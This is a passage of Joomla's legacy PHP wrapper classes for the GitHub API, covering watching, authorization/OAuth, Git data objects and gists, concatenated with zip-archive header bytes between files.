$path = '/repos/' . $owner . '/' . $repo .
'/subscription';
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
/**
* Check if you are watching a repository (LEGACY).
*
* Requires for the user to be authenticated.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return object
*/
public function check($owner, $repo)
{
// Build the request path.
$path = '/user/subscriptions/' . $owner . '/' .
$repo;
$response = $this->client->get($this->fetchUrl($path));
switch ($response->code)
{
case '204' :
// This repository is watched by you.
return true;
break;
case '404' :
// This repository is not watched by you.
return false;
break;
}
throw new UnexpectedValueException('Unexpected response code: '
. $response->code);
}
/**
* Watch a repository (LEGACY).
*
* Requires for the user to be authenticated.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function watch($owner, $repo)
{
// Build the request path.
$path = '/user/subscriptions/' . $owner . '/' .
$repo;
return $this->processResponse(
$this->client->put($this->fetchUrl($path), ''),
204
);
}
/**
* Stop watching a repository (LEGACY).
*
* Requires for the user to be authenticated.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function unwatch($owner, $repo)
{
// Build the request path.
$path = '/user/subscriptions/' . $owner . '/' .
$repo;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
PKKn�[;��E��github/package/activity.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Activity class for the Joomla Platform.
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*
* @documentation https://developer.github.com/v3/activity/
*
* @property-read JGithubPackageActivityEvents $events GitHub API object
for markdown.
*/
class JGithubPackageActivity extends JGithubPackage
{
protected $name = 'Activity';
protected $packages = array('events', 'notifications',
'starring', 'watching');
}
PKKn�[��_� �
github/package/authorization.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Authorization class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/oauth/
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageAuthorization extends JGithubPackage
{
/**
* Method to create an authorization.
*
* @param array $scopes A list of scopes that this authorization is
in.
* @param string $note A note to remind you what the OAuth token is
for.
* @param string $url A URL to remind you what app the OAuth token
is for.
*
* @throws DomainException
* @since 3.1.4
*
* @return object
*/
public function create(array $scopes = array(), $note = '', $url
= '')
{
// Build the request path.
$path = '/authorizations';
$data = json_encode(
array('scopes' => $scopes, 'note' => $note,
'note_url' => $url)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to delete an authorization
*
* @param integer $id ID of the authorization to delete
*
* @throws DomainException
* @since 3.1.4
*
* @return object
*/
public function delete($id)
{
// Build the request path.
$path = '/authorizations/' . $id;
// Send the request.
$response = $this->client->delete($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 204)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to edit an authorization.
*
* @param integer $id ID of the authorization to edit
* @param array $scopes Replaces the authorization scopes with
these.
* @param array $addScopes A list of scopes to add to this
authorization.
* @param array $removeScopes A list of scopes to remove from this
authorization.
* @param string $note A note to remind you what the OAuth
token is for.
* @param string $url A URL to remind you what app the OAuth
token is for.
*
* @throws RuntimeException
* @throws DomainException
* @since 3.1.4
*
* @return object
*/
public function edit($id, array $scopes = array(), array $addScopes =
array(), array $removeScopes = array(), $note = '', $url =
'')
{
// Check if more than one scopes array contains data
$scopesCount = 0;
if (!empty($scopes))
{
$scope = 'scopes';
$scopeData = $scopes;
$scopesCount++;
}
if (!empty($addScopes))
{
$scope = 'add_scopes';
$scopeData = $addScopes;
$scopesCount++;
}
if (!empty($removeScopes))
{
$scope = 'remove_scopes';
$scopeData = $removeScopes;
$scopesCount++;
}
// Only allowed to send data for one scope parameter
if ($scopesCount >= 2)
{
throw new RuntimeException('You can only send one scope key in this
request.');
}
// Build the request path.
$path = '/authorizations/' . $id;
$data = json_encode(
array(
$scope => $scopeData,
'note' => $note,
'note_url' => $url,
)
);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get details about an authorised application for the
authenticated user.
*
* @param integer $id ID of the authorization to retrieve
*
* @throws DomainException
* @since 3.1.4
* @note This method will only accept Basic Authentication
*
* @return object
*/
public function get($id)
{
// Build the request path.
$path = '/authorizations/' . $id;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get the authorised applications for the authenticated user.
*
* @throws DomainException
* @since 3.1.4
* @note This method will only accept Basic Authentication
*
* @return object
*/
public function getList()
{
// Build the request path.
$path = '/authorizations';
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get the rate limit for the authenticated user.
*
* @throws DomainException
* @since 3.1.4
*
* @return object
*/
public function getRateLimit()
{
// Build the request path.
$path = '/rate_limit';
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* 1. Request authorization on GitHub.
*
* @param string $clientId The client ID you received from GitHub
when you registered.
* @param string $redirectUri URL in your app where users will be sent
after authorization.
* @param string $scope Comma separated list of scopes.
* @param string $state An unguessable random string. It is used
to protect against
* cross-site request forgery attacks.
*
* @since 3.3 (CMS)
*
* @return JUri
*/
public function getAuthorizationLink($clientId, $redirectUri =
'', $scope = '', $state = '')
{
$uri = new JUri('https://github.com/login/oauth/authorize');
$uri->setVar('client_id', $clientId);
if ($redirectUri)
{
$uri->setVar('redirect_uri', urlencode($redirectUri));
}
if ($scope)
{
$uri->setVar('scope', $scope);
}
if ($state)
{
$uri->setVar('state', $state);
}
return (string) $uri;
}
/**
* 2. Request the access token.
*
* @param string $clientId The client ID you received from GitHub
when you registered.
* @param string $clientSecret The client secret you received from
GitHub when you registered.
* @param string $code The code you received as a response to
Step 1.
* @param string $redirectUri URL in your app where users will be
sent after authorization.
* @param string $format The response format (json, xml, ).
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return string
*/
public function requestToken($clientId, $clientSecret, $code, $redirectUri
= '', $format = '')
{
$uri = 'https://github.com/login/oauth/access_token';
$data = array(
'client_id' => $clientId,
'client_secret' => $clientSecret,
'code' => $code,
);
if ($redirectUri)
{
$data['redirect_uri'] = $redirectUri;
}
$headers = array();
switch ($format)
{
case 'json' :
$headers['Accept'] = 'application/json';
break;
case 'xml' :
$headers['Accept'] = 'application/xml';
break;
default :
if ($format)
{
throw new UnexpectedValueException('Invalid format');
}
break;
}
// Send the request.
return $this->processResponse(
$this->client->post($uri, $data, $headers),
200, false
);
}
}
PKKn�[��y<55github/package/data/blobs.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Data Blobs class for the Joomla Platform.
*
* Since blobs can be any arbitrary binary data, the input and responses
for the blob API
* takes an encoding parameter that can be either utf-8 or base64. If your
data cannot be
* losslessly sent as a UTF-8 string, you can base64 encode it.
*
* @documentation https://developer.github.com/v3/git/blobs/
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageDataBlobs extends JGithubPackage
{
/**
* Get a Blob.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
* @param string $sha The commit SHA.
*
* @return object
*/
public function get($owner, $repo, $sha)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/git/blobs/' . $sha;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Create a Blob.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
* @param string $content The content of the blob.
* @param string $encoding The encoding to use.
*
* @return object
*/
public function create($owner, $repo, $content, $encoding =
'utf-8')
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/git/blobs';
$data = array(
'content' => $content,
'encoding' => $encoding,
);
return $this->processResponse(
$this->client->post($this->fetchUrl($path),
json_encode($data)),
201
);
}
}
PKKn�[|����github/package/data/commits.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Data Commits class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/git/commits/
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageDataCommits extends JGithubPackage
{
/**
* Get a single commit.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The commit SHA.
*
* @return object
*/
public function get($owner, $repo, $sha)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/git/commits/' . $sha;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Method to create a commit.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $message The commit message.
* @param string $tree SHA of the tree object this commit points
to.
* @param array $parents Array of the SHAs of the commits that were
the parents of this commit.
* If omitted or empty, the commit will be
written as a root commit.
* For a single parent, an array of one SHA
should be provided.
* For a merge commit, an array of more than
one should be provided.
*
* @throws DomainException
* @since 3.0.0
*
* @return object
*/
public function create($owner, $repo, $message, $tree, array $parents =
array())
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/git/commits';
$data = json_encode(
array('message' => $message, 'tree' => $tree,
'parents' => $parents)
);
// Send the request.
return $this->processResponse(
$response = $this->client->post($this->fetchUrl($path), $data),
201
);
}
}
PKKn�[C�a�github/package/data/refs.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API References class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/git/refs/
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageDataRefs extends JGithubPackage
{
/**
* Method to get a reference.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $ref The reference to get.
*
* @return object
*
* @since 1.7.3
*/
public function get($user, $repo, $ref)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/git/refs/' . $ref;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list references for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $namespace Optional sub-namespace to limit the
returned references.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @return array
*
* @since 1.7.3
*/
public function getList($user, $repo, $namespace = '', $page =
0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/git/refs' . $namespace;
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to create a ref.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $ref The name of the fully qualified reference.
* @param string $sha The SHA1 value to set this reference to.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function create($user, $repo, $ref, $sha)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/git/refs';
// Build the request data.
$data = json_encode(
array(
'ref' => $ref,
'sha' => $sha,
)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to update a reference.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $ref The reference to update.
* @param string $sha The SHA1 value to set the reference to.
* @param boolean $force Whether the update should be forced. Default
to false.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function edit($user, $repo, $ref, $sha, $force = false)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/git/refs/' . $ref;
// Craete the data object.
$data = new stdClass;
// If a title is set add it to the data object.
if ($force)
{
$data->force = true;
}
$data->sha = $sha;
// Encode the request data.
$data = json_encode($data);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Delete a Reference
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $ref The reference to update.
*
* @since 3.3 (CMS)
* @return object
*/
public function delete($owner, $repo, $ref)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/git/refs/' . $ref;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
PKKn�[��F�[[github/package/data/tags.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Data Tags class for the Joomla Platform.
*
* This tags API only deals with tag objects - so only annotated tags, not
lightweight tags.
*
* @documentation https://developer.github.com/v3/git/tags/
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageDataTags extends JGithubPackage
{
/**
* Get a Tag.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA1 value to set the reference to.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function get($owner, $repo, $sha)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/git/tags/' . $sha;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Create a Tag Object
*
* Note that creating a tag object does not create the reference that
makes a tag in Git.
* If you want to create an annotated tag in Git, you have to do this call
to create the tag object,
* and then create the refs/tags/[tag] reference. If you want to create a
lightweight tag,
* you simply have to create the reference - this call would be
unnecessary.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $tag The tag string.
* @param string $message The tag message.
* @param string $object The SHA of the git object this is
tagging.
* @param string $type The type of the object we’re tagging.
Normally this is a commit
* but it can also be a tree or a blob.
* @param string $taggerName The name of the author of the tag.
* @param string $taggerEmail The email of the author of the tag.
* @param string $taggerDate Timestamp of when this object was
tagged.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function create($owner, $repo, $tag, $message, $object, $type,
$taggerName, $taggerEmail, $taggerDate)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/git/tags';
$data = array(
'tag' => $tag,
'message' => $message,
'object' => $object,
'type' => $type,
'tagger_name' => $taggerName,
'tagger_email' => $taggerEmail,
'tagger_date' => $taggerDate,
);
return $this->processResponse(
$this->client->post($this->fetchUrl($path),
json_encode($data)),
201
);
}
}
PKKn�[����
github/package/data/trees.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Data Trees class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/git/trees/
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageDataTrees extends JGithubPackage
{
/**
* Get a Tree
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA1 value to set the reference to.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function get($owner, $repo, $sha)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/git/trees/' . $sha;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get a Tree Recursively
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA1 value to set the reference to.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getRecursively($owner, $repo, $sha)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/git/trees/' . $sha . '?recursive=1';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Create a Tree.
*
* The tree creation API will take nested entries as well. If both a tree
and a nested path
* modifying that tree are specified, it will overwrite the contents of
that tree with the
* new path contents and write a new tree out.
*
* Parameters fir the tree:
*
* tree.path
* String of the file referenced in the tree
* tree.mode
* String of the file mode - one of 100644 for file (blob), 100755 for
executable (blob),
* 040000 for subdirectory (tree), 160000 for submodule (commit) or
120000 for a blob
* that specifies the path of a symlink
* tree.type
* String of blob, tree, commit
* tree.sha
* String of SHA1 checksum ID of the object in the tree
* tree.content
* String of content you want this file to have - GitHub will write
this blob out and use
* that SHA for this entry. Use either this or tree.sha
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param array $tree Array of Hash objects (of path, mode, type
and sha) specifying
* a tree structure
* @param string $baseTree The SHA1 of the tree you want to update
with new data.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function create($owner, $repo, $tree, $baseTree = '')
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/git/trees';
$data = array();
$data['tree'] = $tree;
if ($baseTree)
{
$data['base_tree'] = $baseTree;
}
return $this->processResponse(
$this->client->post($this->fetchUrl($path),
json_encode($data)),
201
);
}
}
PKKn�[��D github/package/data.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API DB class for the Joomla Platform.
*
* https://developer.github.com/v3/git/
* Git DB API
*
* The Git Database API gives you access to read and write raw Git objects
to your Git database on GitHub and to list
* * and update your references (branch heads and tags).
*
* This basically allows you to reimplement a lot of Git functionality over
our API - by creating raw objects
* * directly into the database and updating branch references you could
technically do just about anything that
* * Git can do without having Git installed.
*
* Git DB API functions will return a 409 if the git repo for a Repository
is empty or unavailable.
* * This typically means it is being created still. Contact Support if
this response status persists.
*
* git db
*
* For more information on the Git object database, please read the Git
Internals chapter of the Pro Git book.
*
* As an example, if you wanted to commit a change to a file in your
repository, you would:
*
* get the current commit object
* retrieve the tree it points to
* retrieve the content of the blob object that tree has for that
particular file path
* change the content somehow and post a new blob object with that new
content, getting a blob SHA back
* post a new tree object with that file path pointer replaced with
your new blob SHA getting a tree SHA back
* create a new commit object with the current commit SHA as the parent
and the new tree SHA, getting a commit SHA back
* update the reference of your branch to point to the new commit SHA
*
* It might seem complex, but it’s actually pretty simple when you
understand the model and it opens up a ton of
* things you could potentially do with the API.
*
* @documentation https://developer.github.com/v3/git/
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageData extends JGithubPackage
{
protected $name = 'Data';
protected $packages = array('blobs', 'commits',
'refs', 'tags', 'trees');
}
PKKn�[9/#!github/package/gists/comments.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Gists Comments class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/gists/comments/
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageGistsComments extends JGithubPackage
{
/**
* Method to create a comment on a gist.
*
* @param integer $gistId The gist number.
* @param string $body The comment body text.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function create($gistId, $body)
{
// Build the request path.
$path = '/gists/' . (int) $gistId . '/comments';
// Build the request data.
$data = json_encode(
array(
'body' => $body,
)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to delete a comment on a gist.
*
* @param integer $commentId The id of the comment to delete.
*
* @throws DomainException
* @since 1.7.3
*
* @return void
*/
public function delete($commentId)
{
// Build the request path.
$path = '/gists/comments/' . (int) $commentId;
// Send the request.
$response = $this->client->delete($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 204)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
}
/**
* Method to update a comment on a gist.
*
* @param integer $commentId The id of the comment to update.
* @param string $body The new body text for the comment.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function edit($commentId, $body)
{
// Build the request path.
$path = '/gists/comments/' . (int) $commentId;
// Build the request data.
$data = json_encode(
array(
'body' => $body,
)
);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a specific comment on a gist.
*
* @param integer $commentId The comment id to get.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function get($commentId)
{
// Build the request path.
$path = '/gists/comments/' . (int) $commentId;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get the list of comments on a gist.
*
* @param integer $gistId The gist number.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getList($gistId, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/gists/' . (int) $gistId . '/comments';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
}
PKKn�[�3��#3#3github/package/gists.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Gists class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/gists
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*
* @property-read JGithubPackageGistsComments $comments GitHub API
object for gist comments.
*/
class JGithubPackageGists extends JGithubPackage
{
protected $name = 'Gists';
protected $packages = array(
'comments',
);
/**
* Method to create a gist.
*
* @param mixed $files Either an array of file paths or a
single file path as a string.
* @param boolean $public True if the gist should be public.
* @param string $description The optional description of the gist.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function create($files, $public = false, $description = null)
{
// Build the request path.
$path = '/gists';
// Build the request data.
$data = json_encode(
array(
'files' => $this->buildFileData((array) $files),
'public' => (bool) $public,
'description' => $description,
)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to delete a gist.
*
* @param integer $gistId The gist number.
*
* @throws DomainException
* @since 1.7.3
*
* @return void
*/
public function delete($gistId)
{
// Build the request path.
$path = '/gists/' . (int) $gistId;
// Send the request.
$response = $this->client->delete($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 204)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
}
/**
* Method to update a gist.
*
* @param integer $gistId The gist number.
* @param mixed $files Either an array of file paths or a
single file path as a string.
* @param boolean $public True if the gist should be public.
* @param string $description The description of the gist.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function edit($gistId, $files = null, $public = null, $description
= null)
{
// Build the request path.
$path = '/gists/' . (int) $gistId;
// Create the data object.
$data = new stdClass;
// If a description is set add it to the data object.
if (isset($description))
{
$data->description = $description;
}
// If the public flag is set add it to the data object.
if (isset($public))
{
$data->public = $public;
}
// If a state is set add it to the data object.
if (isset($files))
{
$data->files = $this->buildFileData((array) $files);
}
// Encode the request data.
$data = json_encode($data);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to fork a gist.
*
* @param integer $gistId The gist number.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function fork($gistId)
{
// Build the request path.
$path = '/gists/' . (int) $gistId . '/fork';
// Send the request.
// TODO: Verify change
$response = $this->client->post($this->fetchUrl($path),
'');
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a single gist.
*
* @param integer $gistId The gist number.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function get($gistId)
{
// Build the request path.
$path = '/gists/' . (int) $gistId;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list gists. If a user is authenticated it will return the
user's gists, otherwise
* it will return all public gists.
*
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getList($page = 0, $limit = 0)
{
// Build the request path.
$path = '/gists';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a list of gists belonging to a given user.
*
* @param string $user The name of the GitHub user from which to
list gists.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getListByUser($user, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/users/' . $user . '/gists';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a list of all public gists.
*
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getListPublic($page = 0, $limit = 0)
{
// Build the request path.
$path = '/gists/public';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a list of the authenticated users' starred gists.
*
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getListStarred($page = 0, $limit = 0)
{
// Build the request path.
$path = '/gists/starred';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to check if a gist has been starred.
*
* @param integer $gistId The gist number.
*
* @throws DomainException
* @since 1.7.3
*
* @return boolean True if the gist is starred.
*/
public function isStarred($gistId)
{
// Build the request path.
